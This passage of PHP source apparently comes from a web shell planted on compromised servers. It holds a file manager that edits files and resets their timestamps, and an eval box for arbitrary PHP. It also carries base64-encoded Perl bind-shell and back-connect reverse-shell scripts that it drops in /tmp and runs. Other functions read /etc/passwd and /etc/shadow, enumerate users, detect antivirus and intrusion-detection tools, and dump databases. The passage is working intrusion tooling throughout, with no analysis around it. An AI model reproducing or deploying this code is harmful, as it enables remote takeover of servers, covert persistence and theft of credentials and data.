		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => typPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function typCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "typCmp");
	usort($dirs, "typCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?typViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='typ_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	typFooter();
}
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	typHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		typFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?typViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.typPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "n";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	typFooter();
} function actionNetwork() {
	typHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = typEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$outn".typEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = typEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$outn".typEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	typFooter();
} function actionPhp() {
	if(isset($_POST['ajax'])) {
        typsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        typsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	typHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	typFooter();
} function actionSecInfo() {
	typHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function typSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	typSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        typSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	typSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	typSecParam('Open base dir', @ini_get('open_basedir'));
	typSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	typSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	typSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	typSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            typSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            typSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            typSecParam('OS version', @file_get_contents('/proc/version'));
            typSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(typWhich($item))
                        $temp[] = $item;
                typSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(typWhich($item))
                        $temp[] = $item;
                typSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(typWhich($item))
                        $temp[] = $item;
                typSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                typSecParam('HDD space', typEx('df -h'));
                typSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    typSecParam('Users', $temp);
                }
            }
	} else {
		typSecParam('OS Version',typEx('ver'));
		typSecParam('Account Settings',typEx('net accounts'));
		typSecParam('User Accounts',typEx('net user'));
	}
	echo '</div>';
	typFooter();
} function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE typ2(file text);COPY typ2 FROM '".addslashes($str)."';select file from typ2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table typ2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	typHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
